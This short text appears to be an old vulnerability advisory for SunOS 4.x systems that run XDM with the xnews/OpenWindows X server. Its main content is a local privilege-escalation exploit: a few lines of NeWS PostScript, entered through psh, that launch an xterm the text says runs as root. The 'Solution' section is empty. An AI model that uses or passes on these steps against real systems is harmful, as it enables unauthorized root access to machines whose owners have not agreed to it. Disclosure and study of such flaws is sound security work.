xnews


   Systems Affected: SunOS 4.x running XDM and using xnews X server.


   Problem: You can get a root shell on such a system. To get a shell do:


   


        /usr/openwin/bin/psh


        /NeWS 3 0 findpackages beginpackage


        executive


        (/usr/local/bin/xterm -display localhost:0) pipe





   This give a root shell with OpenWindows and SunOS 4.x. You have to be


   logged bia XDM.


   Solution: